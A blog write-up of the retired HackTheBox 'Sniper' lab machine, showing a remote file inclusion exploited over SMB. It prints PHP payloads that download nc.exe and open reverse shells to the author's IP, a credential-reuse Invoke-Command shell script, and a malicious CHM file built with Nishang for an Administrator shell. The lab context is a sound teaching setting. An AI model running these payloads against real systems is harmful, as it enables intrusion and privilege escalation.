Post

Hackthebox Sniper writeup

Posted Updated
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By Prashant Saini
7 min read

information

Column Details
Name Sniper
Points 30
Difficulty Medium
Creator MinatoTW
creator’s Twitter @MinatoTW_
Out On 5 OCt 2019
Retired on 28 march 2020

Summary

  • Identifying the RFI
  • Rfi using smb server
  • Get creds of Chris
  • running command as chris and get shell as chris
  • Getting User.txt
  • creating a malicious chm file
  • Moving it to /Docs so boss can execute it
  • Getting Root.txt

Got root

Recon

Nmap

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80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 17h01m16s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-02-05T10:39:10
|_  start_date: N/A

Port 80

Port 80 is opened , lets check whats on the website

Website

i found a blog page on the website too

And the Language option on the bar get into my eyes

Website

When i changed the language to english or something else i got a parameter of ?lang=lang.php

I think of the RFI as soon as i saw this

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http://sniper.htb/blog/?lang=blog-en.php

Lets check with samba server , I will host a samba server on my machine and will try to access it with ?lang=\\ip\share\exploit.php

For some reason i was unable to use impacket smbserver.py .Maybe because of the low version of smb on the sniper

i will Use samba server for executing the php files

my smb.conf is

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[global]:
    security = user
    map to guest = bad user
    bind interfaces only = yes
    encrypt passwords = yes
    name resolve order = bcast host
    workgroup = WORKGROUP
    winbind use default domain = yes
    dns proxy = no
    server string = Samba Server %v
    winbind trusted domains only = yes
    null passwords = yes
    netbios name = prashant
[public]:
    force user = nobody
    path = /root/share
    public = yes
    writeable = yes
    directory mask = 0755
    create mask = 0644
    browseable = yes
    available = yes
    guest ok = yes

Exploiting the RFI

Lets try with a ping to my parrot machine

My php file will contain

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<?php shell_exec( "cmd /c ping -n 1 <IP>")?>

And used tcpdump for checking and capturing and analyzing the packets sent by the machine

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$tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:10:14.751039 IP 10.10.10.151 > 10.10.15.32: ICMP echo request, id 1, seq 1, length 40
13:10:14.751102 IP 10.10.15.32 > 10.10.10.151: ICMP echo reply, id 1, seq 1, length 40
^C
2 packets captured
2 packets received by filter
0 packets dropped by kernel

And we confirmed the RFI with the captured packets by TCPDUMP

Now my next attempt was to get a reverse shell Using the RFI, I create the another php script with the following code to download the nc.exe from my Python Server and give me Connection back

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<?php shell_exec('powershell iwr -uri 10.10.15.32:8080/nc.exe -o C:\Windows\Temp\nc.exe;C:\Windows\Temp\nc.exe -e powershell 10.10.15.32 1234')?>

And as we execute the file with ?lang=\\10.10.x.x\public\exploit.php

The python server got a 200 ok request for nc.exe

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┌─[✗]─[prashant@parrot]─[/home/prashant/Desktop/everything_is_here/assets/img/blog-images/hackthebox/Tools]
└──╼ $python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.10.151 - - [08/Feb/2020 13:21:38] "GET /nc.exe HTTP/1.1" 200 -

And we on the other hand we got the shell

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┌─[✗]─[prashant@parrot]─[/home/prashant]
└──╼ $nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.15.32] from (UNKNOWN) [10.10.10.151] 49851
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot\blog>

Now we have to get the user.txt which is owned by the user Chris , So we cant read it we have to escalate to user Chris first

After doing some enum in the same dirs i got a db.php file which contains some creds

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$cat db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

So now we have a password maybe its of the user chris , i tried to check that with powershell’s Invoke-Command that will give me reverse shell by using the creds we got

And made a powershell script for this

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┌─[prashant@parrot]─[/home/prashant/Desktop/everything_is_here/assets/img/blog-images/hackthebox/machines/sniper]
└──╼ $cat getshell.ps1 
$username = 'SNIPER\Chris'
$password = '36mEAhz/B8xQ~2VM'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-command -computername SNIPER -credential $credential -scriptblock { cmd.exe /c "C:\tmp\nc.exe" -e powershell 10.10.15.32 4444 }

And i downloaded the nc.exe and getshell.ps1 to the machine

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iwr -uri 10.10.15.32:8080/nc.exe -o C:\tmp\nc.exe

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iwr -uri 10.10.15.32:8080/getshell.ps1 -o C:\tmp\gs.ps1

and after running the gs.ps1 using the .\gs.ps1 we got the shell as chris

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┌─[✗]─[prashant@parrot]─[/home/prashant]
└──╼ $nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.32] from (UNKNOWN) [10.10.10.151] 49896
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Chris\Documents> whoami
whoami
sniper\chris
PS C:\Users\Chris\Documents>

Got user.txt

Without wasting any time i grabbed the user.txt

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PS C:\Users\Chris\Desktop> cat user.txt
cat user.txt
21f------------------------cf56e
PS C:\Users\Chris\Desktop>

Now i checked every dir that i can and i found two interesting files

  • note.txt
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PS C:\Docs> cat note.txt
cat note.txt
Hi Chris,
	Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.
Regards,
Sniper CEO.
PS C:\Docs>
  • instruction.chm
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PS C:\users\chris\Downloads> ls
ls
    Directory: C:\users\chris\Downloads
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        4/11/2019   8:36 AM          10462 instructions.chm                                                      
PS C:\users\chris\Downloads>

So according to my belief the boss is complaining about the chris skills of php and he also ask chris to make a documentation and upload it to /Docs dir but chris is not prepared yet , and he saved his file to Downloads dir…

So we will create a malicious chm file and will upload it to the /Docs dir so the Boss will execute it As administrator

We are going to use Nishang OUT-CHM.ps1 for creating the malicious chm file

And the script needs Html Help Workshop to execute successfully

Download and install htmlhelp.exe on your Windows machine

Creating a malicious CHM file

Now its time to fire up your windows machine and install html help on your machine. So lets create a malicious chm file with the payload of nc.exe reverse shell

NOTE -- Disable your av and virus protection

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PS C:\Users\prashant\Desktop>certutil -urlcache -split -f https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1

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PS C:\Users\prashant\Desktop>import-module .\out.chm.ps1;out-chm -Payload "C:\tmp\nc.exe -e powershell 10.10.15.32 8888" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702
Compiling c:\Users\prashant\Desktop\doc.chm
Compile time: 0 minutes, 0 seconds
2       Topics
4       Local links
4       Internet links
0       Graphics
Created c:\Users\IEUser\Documents\doc.chm, 13,422 bytes

And we got a doc.chm file generated and i shared the doc.chm to my linux machine

And then transferred it to the sniper machine

And move the doc.chm to /Docs Dir so the boss can execute it

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PS C:\Docs> cp /tmp/doc.chm /Docs

As soon as we move the doc.chm to the /Docs we get a reverse shell on nc listener

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┌─[✗]─[root@parrot]─[/home/prashant]
└──╼ #nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.15.32] from (UNKNOWN) [10.10.10.151] 49959
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
sniper\administrator
PS C:\Windows\system32>

Got root.txt

Without wasting any time i grabbed the root.txt

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PS C:\users\Administrator\Desktop> cat root.txt
cat root.txt
5624-------------------------c15
PS C:\users\Administrator\Desktop>

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Rfi smb Chm nishang hackthebox
Hackthebox, retired
This post is licensed under CC BY 4.0 by the author.

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